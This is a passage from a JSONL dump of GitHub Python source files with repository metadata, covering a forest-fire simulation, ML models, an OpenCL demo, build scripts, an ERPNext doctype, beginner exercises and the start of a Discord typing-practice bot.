count(forest,2.) # nb d'arbres brûlés\n    bntPA = bnt / (n*m) # proportion brûlé / total\n    bntPR = bnt / green # proportion brûlé / nb d'arbres qu'il y avait au début mskn\n    \n    return([bnt,bntPA,bntPR]) # certaines expériences à d > 0.5 sont plutôt étranges...\n\n\ndef stat_density(n,m,p): # STAT : proba par sites (paramètre variant : densité d)\n    d = 0.1 # d va évoluer de 0.1 à 0.95 par pas de 0.05\n    result=[] # matrice qui contiendra les listes (proba, bnt, bntPA et PR)\n    while (d <= 0.95):\n        interm=[] # contient les résultats intermédiaires dont on va prendre la moyenne à la fin\n        k = 1\n        while (k <= 100): # on fait 100 essais par valeur de densité d\n            interm.append(simulation(n,m,d,p,0))\n            k+=1\n        # ici, interm contient [[brulé à l'essai 1, proportions à l'essai 1],[brulé à l'essai 2, proportions à l'essai 2],...]\n        bntM = 0\n        bntPAM = 0\n        bntPRM = 0\n        for k in range(len(interm)):\n            bntM += interm[k][0]\n            bntPAM += interm[k][1]\n            bntPRM += interm[k][2]\n        bntM /= len(interm)\n        bntPAM /= len(interm)\n        bntPRM /= len(interm)\n        \n        result.append([d,bntM,bntPAM,bntPRM]) # result contient un tableau avec densité (variante), nb de brulés et proportions\n        d += 0.05\n        \n    return(result)\n\n\"\"\" def stat_areasonfire(n,m,p): # STAT : en percolation par sites, évalue le nb de zones en feu en fonction du nb d'étapes\n    d = 0.6 # d évolue cette fois de 0.6 à 0.9 par pas de 0.05\n    result=[] # la liste va contenir cette fois le nombre d'arbres en feu à chaque étape en moyenne sur 20 essais cette fois\n    while (d <= 0.95):\n        interm=[]\n        k = 1\n        while (k <= 100):\n            F = matgen(n,m,d)\n            interm.append \"\"\"\n \n# 3) ANIMATION # ajouter cmap=plt.cm.nom_de_la_map pour les couleurs dans matshow\n \ndef animate(forest,i,j):\n    fig = plt.figure() # nouvelle figure\n    film = []\n    # Initialisation\n    forestOnFire = burn_spot(forest,i,j)\n    film.append([matshow(forestOnFire, fignum=False, animated=True)])\n    plt.draw()\n     \n    # Propagation\n    while stillOnFire(forest):\n        forestOnFire = propagateFire(burn_spot(forest,i,j))\n        film.append([matshow(forestOnFire, fignum=False, animated=True)])\n        plt.draw()\n     \n    # Animation\n    ani = animation.ArtistAnimation(fig, film, interval=100, blit=True, repeat=False)\n    \n    plt.draw()\n    plt.show()\n    \n    return(forest)\n    \ndef animate_nofilm(forest,i,j): # pour les stats\n    forestOnFire = burn_spot(forest,i,j)\n    while stillOnFire(forest):\n        forestOnFire = propagateFire(burn_spot(forest,i,j))\n        \n    return (forest)\n    \n    ","repo_name":"dylanankrah/fire-prediction-TIPE","sub_path":"Code source/sauvegardes/source principale (sauvegarde, propagation isotrope).py","file_name":"source principale (sauvegarde, propagation isotrope).py","file_ext":"py","file_size_in_byte":8312,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42587209990","text":"from abc import ABC\n\nimport torch\nimport torch.nn as nn\n\n\nclass BimodalFusion(nn.Module, ABC):\n    \"\"\"Bimodal fusion combines features from different modalities into\n    a single tensor.\n\n    The input modalities' feature tensors are expected to have matching\n    sizes [N x C_1] and [N x C_2]. For residual fusion, we further\n    require C_1 = C_2.\n\n    By convention, the second features are fused into the first, main\n    modality. This matters as the output format will match that of the\n    main modality\n    \"\"\"\n\n    MODES = ['residual', 'concatenation', 'both', 'modality']\n\n    def __init__(self, mode='residual', **kwargs):\n        super(BimodalFusion, self).__init__()\n        self.mode = mode\n        if self.mode == 'residual':\n            self.f = lambda a, b: a + b\n        elif self.mode == 'concatenation':\n            self.f = lambda a, b: torch.cat((a, b), dim=-1)\n        elif self.mode == 'both':\n            self.f = lambda a, b: torch.cat((a, a + b), dim=-1)\n        elif self.mode == 'modality':\n            self.f = lambda a, b: b\n        else:\n            raise NotImplementedError(\n                f\"Unknown fusion mode='{mode}'. Please choose among \"\n                f\"supported modes: {self.MODES}.\")\n\n    def forward(self, x_main, x_mod):\n        if x_main is None:\n            return x_mod\n        if x_mod is None:\n            return x_main\n\n        # If the x_mod is a sparse tensor, we only keep its features\n        x_mod = x_mod if isinstance(x_mod, torch.Tensor) else x_mod.F\n\n        # Update the x_main while respecting its format\n        x_main = self.f(x_main, x_mod)\n\n        return x_main\n\n    def extra_repr(self) -> str:\n        return f\"mode={self.mode}\"\n","repo_name":"drprojects/DeepViewAgg","sub_path":"torch_points3d/modules/multimodal/fusion.py","file_name":"fusion.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":205,"dataset":"github-code","pt":"60"}
+{"seq_id":"31436347534","text":"import pyopencl as cl\nimport pyopencl.array as cl_array\nfrom pyopencl.tools import SVMAllocator, SVMPool\nimport numpy as np\n\nn = 50000\na = np.random.rand(n).astype(np.float32)\nb = np.random.rand(n).astype(np.float32)\n\n\nctx = cl.create_some_context()\nqueue = cl.CommandQueue(ctx)\n\nalloc = SVMAllocator(ctx, alignment=0, queue=queue)\nalloc = SVMPool(alloc)\n\na_dev = cl_array.to_device(queue, a, allocator=alloc)\nb_dev = cl_array.to_device(queue, b, allocator=alloc)\ndest_dev = cl_array.empty_like(a_dev)\n\nprg = cl.Program(ctx, \"\"\"\n    __kernel void sum(__global const float *a,\n    __global const float *b, __global float *c)\n    {\n      int gid = get_global_id(0);\n      c[gid] = a[gid] + b[gid];\n    }\n    \"\"\").build()\n\nknl = prg.sum\nknl(queue, a.shape, None, a_dev.data, b_dev.data, dest_dev.data)\n\nnp.testing.assert_allclose(dest_dev.get(), (a_dev+b_dev).get())\n","repo_name":"inducer/pyopencl","sub_path":"examples/demo_array_svm.py","file_name":"demo_array_svm.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":998,"dataset":"github-code","pt":"60"}
+{"seq_id":"28959390151","text":"import numpy as np\nimport ADmetrics as adm\nimport tensorflow as tf\nfrom sklearn import metrics\nimport tensorflow_probability as tfp\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.datasets import make_classification\nfrom sklearn.model_selection import train_test_split\n\ntfd = tfp.distributions\ntfpl = tfp.layers\ntfk = tf.keras\ntfkl = tf.keras.layers\n\ntf.keras.backend.set_floatx('float64')\n\n\nclass MargMLVIEstimation(tf.keras.Model):\n\n    \"\"\" Marginalized Maximum Likelihood Estimation using Black-Box Variational Inference (Bayes) \"\"\"\n\n    def __init__(self, n_units, n_features, n_classes, dense_layer_type, name='theta', **kwargs):\n        super(MargMLVIEstimation, self).__init__(name=name, **kwargs)\n        self.n_units = n_units\n        self.n_classes = n_classes\n        self.n_features = n_features\n        self.dense_layer_type = dense_layer_type\n\n        c = np.log(np.expm1(1.))\n        scale = 1e-5 + tf.nn.softplus(c)\n\n        if self.dense_layer_type.lower() == \"pw-re\".lower() \\\n                or self.dense_layer_type.lower() == \"pw-li\".lower():\n            if self.dense_layer_type.lower() == \"pw-re\".lower():\n                self.dense_1 = tfpl.DenseReparameterization(self.n_features, activation=tf.nn.relu,\n                                                            trainable=True, name='pw_dense_1',)\n            else:\n                self.dense_1 = tfpl.DenseReparameterization(self.n_features, activation=None,\n                                                            trainable=True, name='pw_dense_1',)\n            # In order to be able to compute the log likelihood\n            # a distribution is needed, and it is instantiated as follow:\n            self.pz_x = tfpl.DistributionLambda(lambda t: tfd.Normal(loc=t, scale=scale,),\n                                                trainable=True, name='pz_x')\n            self.py_x_z = tfpl.DenseReparameterization(self.n_classes,\n                                                       activation=None, name='py_x_z')\n\n        elif self.dense_layer_type.lower() == \"fo-re\".lower()\\\n                or self.dense_layer_type.lower() == \"fo-li\".lower():\n            if self.dense_layer_type.lower() == \"fo-re\".lower():\n                # With Relu activation\n                self.dense_1 = tfpl.DenseFlipout(self.n_features, activation=tf.nn.relu,\n                                                 name='fl_dense_1')\n            else:\n                # With Linear activation\n                self.dense_1 = tfpl.DenseFlipout(self.n_features, activation=None,\n                                                 name='fl_dense_1')\n\n            # In order to be able to compute the log likelihood\n            # a distribution is needed, and it is instantiated as follow:\n            self.pz_x = tfpl.DistributionLambda(lambda t: tfd.Normal(loc=t, scale=scale, ),\n                                                trainable=True, name='pz_x')\n            self.py_x_z = tfpl.DenseFlipout(self.n_classes, activation=None,\n                                            name='py_x_z')\n\n    def call(self, inputs, training=False):\n        x = self.dense_1(inputs, training=training)\n        if training:\n            pz_x = self.pz_x(x, training=training)\n            py_x_z_logits = self.py_x_z(x, training=training)\n            return pz_x, py_x_z_logits\n        # py_x_z_logits\n        return self.py_x_z(x, training=training)\n\n\ndef apply_mmle(n_units, n_features, n_classes, n_epochs, batch_size, learning_rate,\n                dense_layer_type='path_wise', x_train=None, y_train=None, x_val=None,\n                y_val=None, x_test=None, y_test=None, verbose=False):\n\n    if x_train is not None:\n        train_dataset = tf.data.Dataset.from_tensor_slices(\n            (x_train, y_train)).batch(batch_size)\n    else:\n        print(\"No training set is provided!\")\n        return None\n\n    if x_val is not None:\n        valid_dataset = tf.data.Dataset.from_tensor_slices(\n            (x_val, y_val)).batch(batch_size)\n\n    if x_test is not None:\n        test_dataset = tf.data.Dataset.from_tensor_slices(\n            (x_test, y_test)).batch(batch_size)\n\n    # metrics for monitoring the training and validation procedure\n    train_loss = tf.keras.metrics.Mean(name='train_loss')\n    train_accuracy = tf.keras.metrics.BinaryAccuracy(name='train_accuracy')\n\n    test_loss = tf.keras.metrics.Mean(name='test_loss')\n    test_accuracy = tf.keras.metrics.BinaryAccuracy(name='test_accuracy')\n\n    model_adv = MargMLVIEstimation(n_units=n_units, n_features=n_features,\n                                   n_classes=n_classes,\n                                   dense_layer_type=dense_layer_type)\n\n    optimizer = tf.optimizers.Adam(learning_rate=learning_rate)\n\n    @tf.function\n    def training_step(x_batch, y_batch, model):\n        with tf.GradientTape() as tape:\n\n            dist_pz_x, py_x_z_logits = model(x_batch, training=True)\n\n            neg_log_lik_pz_x = -tf.reduce_sum(\n                dist_pz_x.log_prob(x_batch))\n\n            neg_log_lik_py_x_z = tf.nn.softmax_cross_entropy_with_logits(\n                labels=y_batch, logits=py_x_z_logits)\n\n            neg_log_lik_py_x_z_cls = -tf.reduce_sum(\n                tf.nn.softmax_cross_entropy_with_logits(labels=y_batch, logits=py_x_z_logits))\n            kl_loss = sum(model.losses)  # /(x_train.shape[0])\n\n            total_loss = tf.math.multiply(neg_log_lik_pz_x, neg_log_lik_py_x_z) + neg_log_lik_py_x_z_cls  # + kl_loss\n\n        gradients = tape.gradient(total_loss, model.trainable_variables)\n        optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n\n        _ = train_loss.update_state(total_loss)\n        predictions = tf.nn.softmax(py_x_z_logits)\n        _ = train_accuracy.update_state(y_batch, predictions)\n\n    @tf.function\n    def testing_step(x_batch_t, y_batch_t, model):\n        dist_pz_x_t, py_x_z_logits_t = model(x_batch_t, training=True)\n        neg_log_lik_pz_x_t = -tf.reduce_sum(dist_pz_x_t.log_prob(x_batch_t))\n        neg_log_lik_py_x_z_t = tf.nn.softmax_cross_entropy_with_logits(labels=y_batch_t, logits=py_x_z_logits_t)\n        neg_log_lik_py_x_z_cls_t = -tf.reduce_sum(\n            tf.nn.softmax_cross_entropy_with_logits(labels=y_batch_t, logits=py_x_z_logits_t))\n        kl_loss = sum(model.losses)  # /(x_train.shape[0])\n\n        total_loss_t = tf.math.multiply(neg_log_lik_pz_x_t, neg_log_lik_py_x_z_t) + neg_log_lik_py_x_z_cls_t\n\n        _ = test_loss.update_state(total_loss_t)\n        predictions_t = tf.nn.softmax(py_x_z_logits_t)\n        _ = test_accuracy.update_state(y_batch_t, predictions_t)\n\n    for epoch in range(n_epochs):\n\n        # Reset the metrics at the start of the next epoch\n        train_loss.reset_states()\n        train_accuracy.reset_states()\n        test_loss.reset_states()\n        test_accuracy.reset_states()\n\n        for step, (x_batch, y_batch) in enumerate(train_dataset):\n            training_step(x_batch=x_batch, y_batch=y_batch, model=model_adv,)\n\n        if x_val is not None:\n            for step, (x_batch_v, y_batch_v) in enumerate(valid_dataset):\n                testing_step(x_batch_t=x_batch_v, y_batch_t=y_batch_v, model=model_adv, )\n\n        if x_test is not None:\n            for step, (x_batch_t, y_batch_t) in enumerate(test_dataset):\n                testing_step(x_batch_t=x_batch_t, y_batch_t=y_batch_t, model=model_adv, )\n\n        # Log every 100 batches.\n        if step % 100 == 0 and verbose:\n            template = 'Epoch {}, Train Loss: {}, Train Accuracy: {}, Valid Loss: {}, Valid Accuracy: {}'\n            print(template.format(epoch + 1,\n                                  train_loss.result(),\n                                  train_accuracy.result(),\n                                  test_loss.result(),\n                                  test_accuracy.result()))\n    return model_adv\n\n\nif __name__ == '__main__':\n\n    n_units = 10\n    n_epochs = 500\n    n_classes = 2\n    n_features = 10\n    batch_size = 100\n    n_samples = 1000  # 100\n    learning_rate = 1e-2\n\n    inside_call = True\n    dense_layer_type = 'path_wise'\n\n    # Generate synthetic data / load data sets\n    x_in, y_in = make_classification(n_samples=n_samples, n_features=n_features, n_informative=n_classes, n_redundant=0,\n                                     n_repeated=0, n_classes=n_classes, n_clusters_per_class=1,\n                                     weights=[0.2, 0.8], flip_y=0.4, class_sep=1.0, hypercube=True,\n                                     shift=0.0, scale=1.0, shuffle=True, random_state=42)\n    print(\"y_in:\", set(y_in))\n\n    # Normalizing the data points\n    x_in = np.divide(x_in, np.ptp(x_in, axis=0))\n    x_in = x_in.astype('float64')\n    y_in = y_in.astype('float64').reshape(-1, 1)\n\n    one_hot_encoder = OneHotEncoder(sparse=False)\n    y_in = one_hot_encoder.fit_transform(y_in)\n    y_in = y_in.astype('float64')\n\n    x_train, x_test, y_train, y_test = train_test_split(x_in, y_in, test_size=0.4, random_state=42, shuffle=True)\n    x_test, x_val, y_test, y_val = train_test_split(x_test, y_test, test_size=0.5, random_state=42, shuffle=True)\n\n    print(\"shapes:\", x_train.shape, y_train.shape, x_test.shape, y_test.shape, x_val.shape, y_val.shape)\n\n    x_min = np.min(x_train, axis=0)\n    x_max = np.max(x_train, axis=0)\n    x_range = x_max - x_min\n\n    model_adv = apply_mmle(n_units=n_units, n_features=n_features, n_classes=n_classes,\n                           n_epochs=n_epochs, batch_size=batch_size, learning_rate=learning_rate,\n                           dense_layer_type=dense_layer_type, x_train=x_train, y_train=y_train,\n                           x_val=x_val, y_val=y_val, x_test=None, y_test=None, verbose=False)\n\n    py_x_z_logits = model_adv(x_test, training=False)\n    py_x_z_probs = tf.nn.softmax(py_x_z_logits)\n    labels_pred = tf.argmax(py_x_z_probs, axis=1)\n    labels_true = one_hot_encoder.inverse_transform(y_test)\n\n    if inside_call:\n        adm.plot_roc_auv_curve_of_an_algorithm(alg_ms=labels_pred, gt_ms=labels_true,\n                                               alg_probs=py_x_z_probs, gt_ms_onehot=y_test,\n                                               data_name='make_cls', alg_name='fpvi-pw',\n                                               name_of_auc_roc_fig=dense_layer_type, sample_weight=None, case=0)\n        prf = metrics.precision_recall_fscore_support(y_true=labels_true, y_pred=labels_pred, average='weighted')\n        print(\"PRF:\", prf)\n","repo_name":"Sorooshi/MMLE-by-BBVI","sub_path":"codes/marginalized_maximum_likelihood_estimation_by_bbvi.py","file_name":"marginalized_maximum_likelihood_estimation_by_bbvi.py","file_ext":"py","file_size_in_byte":10417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33098377646","text":"import argparse\nfrom fabrics import create_frame_reader, create_output_saver, \\\n    create_detector, create_tracker\nfrom full_video_detector import FullVideoDetector\nfrom stepwise_video_detector import StepwiseVideoDetector\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    # Video to detect and track vehicles\n    parser.add_argument('-q', '--frame_sequence', action = 'store_true',\n        help = 'flag that allows to process image sequence')\n    parser.add_argument('-v', '--video', help = 'video to detect vehicles or \\\n        directory name containing image sequence')\n    \n    # Video-based detection algorithm\n    parser.add_argument('-a', '--algorithm', default = 'FD', help = 'type \\\n        of video-based detection algorithm (\\'FD\\' - full detection \\\n        frame-by-frame, FDT - full detection + creating tracks)')\n    \n    # Detector parameters\n    parser.add_argument('-d', '--detector', default = 'OpenCV',\n        help = 'detector name (\\'OpenCV\\' mode supports DNN-based detectors)')\n    #default = 'caffe'\n    parser.add_argument('-f', '--framework', default = 'darknet',\n        help = 'deep learning framework (\\'caffe\\', \\'darknet\\') \\\n        are supported')\n    parser.add_argument('-l', '--labels', default = '../tests/voc_classes.txt',\n        help = 'file containing object classes for object detection \\\n        in format \\'<id> <class_name>\\'')\n    #default = '../tests/resnet50_rfcn_final.caffemodel',\n    parser.add_argument('-w', '--weights',\n        default = '../tests/yolo-voc.weights',\n        help = 'model trained to detect objects')\n    #default = '../tests/rfcn_pascal_voc_resnet50.prototxt',\n    parser.add_argument('-p', '--representation',\n        default = '../tests/yolo-voc.cfg',\n        help = 'model description')\n    #default = '102.9801 115.9465 122.7717',\n    parser.add_argument('-m', '--mean', default = '0 0 0',\n        help = 'mean intensity value')\n    #default = 800,\n    parser.add_argument('-c', '--cols', default = 416,\n        help = 'input width (cols)')\n    #default = 600,\n    parser.add_argument('-r', '--rows', default = 416,\n        help = 'input height (rows)')\n    #default = 1.0,\n    parser.add_argument('-s', '--scale_factor',  default = 0.00392,\n        help = 'scale factor for the input blob')\n    #default = 'bgr',\n    parser.add_argument('-bgr', default = 'rgb',\n        help = 'flag to set the sequence of channels (\\'bgr\\' or \\'rgb\\')')\n    parser.add_argument('-e', '--confidence_threshold', default = 0.5,\n        help = 'confidence threshold')\n    \n    # Tracker parameters\n    parser.add_argument('-t', '--tracker', default = None, help = 'tracker \\\n        name supported by OpenCV (\\'BOOSTING\\', \\'MIL\\', \\'KCF\\', \\'TLD\\', \\\n        \\'MEDIANFLOW\\', \\'GOTURN\\', \\'MOSSE\\', \\'CSRT\\')')\n\n    # Options\n    parser.add_argument('-so', '--std_output', action = 'store_true',\n        help = 'redirect output information about detected objects \\\n        to the standard output')\n    parser.add_argument('-o', '--output', default = 'output.txt',\n        help = 'output file containing list of detected vehicles')\n\n    args = parser.parse_args()\n\n    try:\n        # Prepare video, detector and tracker\n        video = create_frame_reader(args.frame_sequence, args.video)\n        output_saver = create_output_saver(args.std_output, args.output)\n        detector = create_detector(args.detector, args.labels, args.framework,\n            args.weights, args.representation, args.mean, args.cols,\n            args.rows, args.scale_factor, args.bgr, args.confidence_threshold)\n        tracker = create_tracker(args.tracker)\n        # Detect and track vehicles\n        if (args.algorithm == 'FD'):\n            video_detector = FullVideoDetector(video, detector,\n                output_saver)\n        elif (args.algorithm == 'FDT'):\n            video_detector = StepwiseVideoDetector(video, detector, tracker,\n                output_saver)\n        else:\n            raise ValueError('Video-based detection method {} \\\n                is not supported'.format(args.algorithm))\n        video_detector.process()\n    except Exception as ex:\n        print('ERROR: {}'.format(str(ex)))\n","repo_name":"valentina-kustikova/dnn-object-detectors-comp","sub_path":"vehicle-detector/video-detector/video_analyzer.py","file_name":"video_analyzer.py","file_ext":"py","file_size_in_byte":4170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1569718857","text":"import frappe\nfrom frappe import _, bold\nfrom frappe.model.document import Document\n\n\nclass PartyLink(Document):\n\tdef validate(self):\n\t\tif self.primary_role not in [\"Customer\", \"Supplier\"]:\n\t\t\tfrappe.throw(\n\t\t\t\t_(\n\t\t\t\t\t\"Allowed primary roles are 'Customer' and 'Supplier'. Please select one of these roles only.\"\n\t\t\t\t),\n\t\t\t\ttitle=_(\"Invalid Primary Role\"),\n\t\t\t)\n\n\t\texisting_party_link = frappe.get_all(\n\t\t\t\"Party Link\",\n\t\t\t{\"primary_party\": self.primary_party, \"secondary_party\": self.secondary_party},\n\t\t\tpluck=\"primary_role\",\n\t\t)\n\t\tif existing_party_link:\n\t\t\tfrappe.throw(\n\t\t\t\t_(\"{} {} is already linked with {} {}\").format(\n\t\t\t\t\tself.primary_role, bold(self.primary_party), self.secondary_role, bold(self.secondary_party)\n\t\t\t\t)\n\t\t\t)\n\n\t\texisting_party_link = frappe.get_all(\n\t\t\t\"Party Link\", {\"primary_party\": self.secondary_party}, pluck=\"primary_role\"\n\t\t)\n\t\tif existing_party_link:\n\t\t\tfrappe.throw(\n\t\t\t\t_(\"{} {} is already linked with another {}\").format(\n\t\t\t\t\tself.secondary_role, self.secondary_party, existing_party_link[0]\n\t\t\t\t)\n\t\t\t)\n\n\t\texisting_party_link = frappe.get_all(\n\t\t\t\"Party Link\", {\"secondary_party\": self.primary_party}, pluck=\"primary_role\"\n\t\t)\n\t\tif existing_party_link:\n\t\t\tfrappe.throw(\n\t\t\t\t_(\"{} {} is already linked with another {}\").format(\n\t\t\t\t\tself.primary_role, self.primary_party, existing_party_link[0]\n\t\t\t\t)\n\t\t\t)\n\n\n@frappe.whitelist()\ndef create_party_link(primary_role, primary_party, secondary_party):\n\tparty_link = frappe.new_doc(\"Party Link\")\n\tparty_link.primary_role = primary_role\n\tparty_link.primary_party = primary_party\n\tparty_link.secondary_role = \"Customer\" if primary_role == \"Supplier\" else \"Supplier\"\n\tparty_link.secondary_party = secondary_party\n\n\tparty_link.save(ignore_permissions=True)\n\n\treturn party_link\n","repo_name":"frappe/erpnext","sub_path":"erpnext/accounts/doctype/party_link/party_link.py","file_name":"party_link.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":15303,"dataset":"github-code","pt":"60"}
+{"seq_id":"34980979528","text":"#!/usr/bin/env python3\n\nimport os\nfrom subprocess import call\nimport argparse\nimport multiprocessing\n\ndef run_unit_tests(octopus_build_dir, use_verbose_output):\n    octopus_test_dir = octopus_build_dir + \"/test\"\n    os.chdir(octopus_test_dir)\n    ctest_options = []\n    if use_verbose_output:\n        ctest_options.append(\"--verbose\")\n    call([\"ctest\"] + ctest_options)\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--type',\n                    help='C++ compiler path',\n                    default=\"unit\")\nparser.add_argument('--verbose',\n                    help='Output verbose test information',\n                    action='store_true')\nparser.add_argument('--compiler',\n                    help='C++ compiler path')\nparser.add_argument('--threads',\n                    help='The number of threads to use for building',\n                    type=int)\nargs = vars(parser.parse_args())\n\nif args[\"type\"] not in [\"unit\", \"valgrind\", \"regression\"]:\n    print(\"Unknown test type \" + type)\n    exit()\n\n# This file is in octopus-dir/test\noctopus_dir = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\n\nroot_cmake = octopus_dir + \"/CMakeLists.txt\"\n\nif not os.path.exists(root_cmake):\n    print(\"octopus source directory corrupted: root CMakeLists.txt is missing. Please re-download source code.\")\n    exit()\n\noctopus_build_dir = octopus_dir + \"/build\"\n\nif not os.path.exists(octopus_build_dir):\n    print(\"octopus source directory corrupted: build directory is missing. Please re-download source code.\")\n    exit()\n\nos.chdir(octopus_build_dir) # so cmake doesn't pollute root directory\n\ncmake_options = []\n\nif args[\"type\"] == \"unit\":\n    cmake_options.extend([\"-DBUILD_TESTING=ON\", octopus_dir])\nelif args[\"type\"] == \"valgrind\":\n    cmake_options.append(\"-DCMAKE_BUILD_TYPE=Debug\")\n\nif args[\"compiler\"]:\n    cmake_options.append(\"-DCMAKE_CXX_COMPILER=\" + args[\"compiler\"])\n\nret = call([\"cmake\"] + cmake_options + [\"..\"])\n\nmake_options = []\n\nif args[\"threads\"]:\n    if (args[\"threads\"] > 1):\n        make_options.append(\"-j\" + str(args[\"threads\"]))\nelse:\n    make_options.append(\"-j\" + str(multiprocessing.cpu_count()))\n\nif ret == 0:\n    ret = call([\"make\"] + make_options)\n    if ret == 0:\n        if args[\"type\"] == \"unit\":\n            run_unit_tests(octopus_build_dir, args[\"verbose\"])\n        elif args[\"type\"] == \"valgrind\":\n            call([\"make\", \"install\"])\n","repo_name":"luntergroup/octopus","sub_path":"test/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":288,"dataset":"github-code","pt":"60"}
+{"seq_id":"74601972989","text":"# Desenvolva um programa que pergunte a distância de uma viagem em KM. \n# Calcule o preço da passagem, cobrando 0,50 centavos por km para viagens de até 200km e 0,45 centavos para viagens mais longas.\n\nkm = float (input('Digite quantos KM terá a sua viagem: '))\npr1 = km*0.45\npr2 = km*0.50\nif km >= 200:\n  print('O preço da sua viagem é: {:.2f} reais'.format(pr2))\nelse:\n  print('O preço da sua viagem é: {:.2f} reais'.format(pr1))","repo_name":"luizhmfonseca/Estudos-Python","sub_path":"EXERCÍCIOS - meus códigos/EX31.py","file_name":"EX31.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"22999297102","text":"# -- coding: UTF-8 --\n\n\"\"\"\nGiven an input dictionary in the form of a JSON how will you construct an\ninstance of a class without explicitly calling the class constructor.\n\"\"\"\n\nimport logging.config\n\n\n__author__ = 'saranya@gyandata.com'\n\nLOGGER = logging.getLogger('root')\nLOGGER_CONFIG_PATH = 'config/logging.json'\n\n\nclass JsonData:\n    \"\"\" A class contains the co ordinates of a point\"\"\"\n    def __init__(self, x, y):\n        \"\"\"\n        Constructor\n        :ivar x: The x coordinate of the point\n        :ivar y: The y coordinate of the point\n        \"\"\"\n        self.x = x\n        self.y = y\n\n    def __str__(self):\n        return \"Value of x: %d and Value of y: %d\" % (self.x, self.y)\n","repo_name":"saranyasivam98/Classes_Objects","sub_path":"classes/without_constructor.py","file_name":"without_constructor.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1353902684","text":"# insertion sort（挿入ソート）\n\ndef insertion_sort(a: list[int]) -> None:\n    for i in range(1, len(a)):\n        v: int = a[i]\n\n        # 挿入する場所jを探す\n        j: int = i\n        while j > 0:\n            if a[j - 1] > v:\n                a[j] = a[j - 1]  # vより大きいものは1つ後ろに移す\n            else:\n                break\n            j -= 1\n        a[j] = v\n        print(a)\n\n\nif __name__ == '__main__':\n    a: list[int] = [5, 9, 2, 0, 4]\n\n    insertion_sort(a)\n\n    print(a)\n","repo_name":"yukinakanaka/AlgorithmAndDataStructure","sub_path":"chap12/12.1.py","file_name":"12.1.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"6645261967","text":"import config.package\nimport os\n\nclass Configure(config.package.CMakePackage):\n  def __init__(self, framework):\n    config.package.CMakePackage.__init__(self, framework)\n    self.gitcommit        = 'master'\n    # using fork of Sherry's branch to work around bug in handling of BLAS, pull request made \n    self.download         = ['git://https://github.com/petsc/superlu']\n#    self.download         = ['git://https://github.com/xiaoyeli/superlu']\n#    self.download         = ['git://https://bitbucket.org/petsc/pkg-superlu.git',\n#                             'http://ftp.mcs.anl.gov/pub/petsc/externalpackages/superlu_5.1.tar.gz']\n    self.functions        = ['set_default_options']\n    self.includes         = ['slu_ddefs.h']\n    self.liblist          = [['libsuperlu.a']]\n    # SuperLU has NO support for 64 bit integers, use SuperLU_Dist if you need that\n    self.requires32bitint = 1;  # 1 means that the package will not work with 64 bit integers\n    self.excludedDirs     = ['SuperLU_DIST','SuperLU_MT']\n    # SuperLU does not work with --download-fblaslapack with Compaqf90 compiler on windows.\n    # However it should work with intel ifort.\n    self.downloadonWindows= 1\n    self.hastests         = 1\n    self.hastestsdatafiles= 1\n    return\n\n  def setupDependencies(self, framework):\n    config.package.CMakePackage.setupDependencies(self, framework)\n    self.blasLapack = self.framework.require('config.packages.BlasLapack',self)\n    self.deps       = [self.blasLapack]\n    return\n\n  def formCMakeConfigureArgs(self):\n    args = config.package.CMakePackage.formCMakeConfigureArgs(self)\n    args.append('-DUSE_XSDK_DEFAULTS=YES')\n\n    args.append('-DTPL_BLAS_LIBRARIES=\"'+self.libraries.toString(self.blasLapack.dlib)+'\"')\n\n    #  Tests are broken on Apple since they depend on a shared library that is not resolved against BLAS\n    args.append('-Denable_tests=0')\n    #  CMake in SuperLU should set this; but like many other packages it does not\n    args.append('-DCMAKE_INSTALL_NAME_DIR:STRING=\"'+os.path.join(self.installDir,self.libdir)+'\"')\n    return args\n\n","repo_name":"taupalosaurus/petscAdapt","sub_path":"config/BuildSystem/config/packages/SuperLU.py","file_name":"SuperLU.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1136252163","text":"import discord\nimport random\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv(verbose=True)\n\n#디스코드 개발 토큰\ntoken = os.getenv('TOKEN')\n\n\n#msg 초기화\nmsg = None \nx = None\n\n\nclient = discord.Client()\n\n#타자연습 영어 문장들 15개\nt = [\"Experience is not what happens to a man; it is what a man does with what happens to him.\",\n     \"There is no feeling, except the extremes of fear and grief, that does not find relief in music.\",\n     \"I hear and I forget. I see and I remember. I do and I understand.\",\n     \"If you want to see what children can do, you must stop giving them things.\",\n     \"The man of virtue makes the difficulty to be overcome his first business, and success only a subsequent consideration.\",\n     \"People fail forward to success.\",\n     \"It is wise to apply the oil of refined politeness to the mechanisms of friendship.\",\n     \"Without friends no one would choose to live, though he had all other goods.\",\n     \"Man's feelings are always purest and most glowing in the hour of meeting and of farewell.\",\n     \"This bud of love, by summer's ripening breath, May prove a beauteous flower when next we meet.\",\n     \"Running cross country is the closest man will ever get to flying.\",\n     \"My philosophy is that not only are you responsible for your life, but doing the best at this moment puts you in the best place for the next moment.\",\n     \"He that lives upon hope will die fasting.\",\n     \"It has never been my object to record my dreams, just to realize them.\"\n      ]\n\n#타자연습 한글 문장들 15개\nT = [\"사랑은 언제까지나 